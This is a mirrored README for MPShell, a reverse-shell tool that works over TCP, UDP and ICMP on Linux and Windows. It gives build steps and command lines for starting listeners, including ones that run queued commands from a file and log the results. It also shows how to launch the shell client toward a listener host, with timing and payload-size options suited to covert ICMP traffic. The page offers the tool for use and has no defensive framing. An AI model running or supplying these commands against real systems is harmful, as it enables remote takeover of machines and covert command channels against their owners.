Code Monkey home page Code Monkey logo

mpshell's Introduction

MPShell

Multi-protocol (TCP, UDP, ICMP) multi-OS reverse shell

  • supports TCP, UDP & ICMP protocols
  • works on Linux & Windows
  • supports command input from a file and result output to a file

Screenshot

Screenshot


Building

git clone https://github.com/FilipBlazekovic/mpshell.git
cd mpshell

# Building linux reverse shell listener
cd MPListener
make

# Building linux reverse shell client
cd MPShell-linux
make

# Building windows reverse shell client (needs to be built on windows)
cd MPShell-windows
make


Starting a TCP listener

./MPListener --protocol=tcp --port=8080

To start a TCP listener that accepts a list of commands that will be executed when the client connects from a file (one command per line) and writes the result to a file, --command-file & --result-file options are used. After all the commands have been executed, input falls back to stdin. Output can then also be redirected to stdout by using $close-output command.

./MPListener --protocol=tcp --port=8080 --command-file=/path/commands.txt --result-file=/path/result.txt

Starting a UDP listener

./MPListener --protocol=udp --port=8080
./MPListener --protocol=udp --port=8080 --command-file=/path/commands.txt --result-file=/path/result.txt

Starting a ICMP listener

To start a ICMP listener, root is required, given that raw sockets are used, and automatic ICMP kernel replies need to be disabled. Root is only required on the server side for ICMP protocol. On the client side non-raw ICMP sockets are used socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP) if the user is allowed to use them based on the contents of /proc/sys/net/ipv4/ping_group_range file.

./MPListener --protocol=icmp
./MPListener --protocol=icmp --command-file=/path/commands.txt --result-file=/path/result.txt

Starting a reverse shell

./MPShell --protocol=tcp --host=192.168.0.15 --port=8080
./MPShell --protocol=udp --host=192.168.0.15 --port=8080
./MPShell --protocol=icmp --host=192.168.0.15

Setting additional options for a reverse shell

The following line sets the read timeout to 1 second, sleep between packets (when there is no payload to send) to 500 ms, and the payload size to 1000 bytes.

./MPShell --protocol=udp --host=192.168.0.15 --port=8080 --timeout=2 --sleep=500 --payload-size=1000

mpshell's People

Contributors

filipblazekovic avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.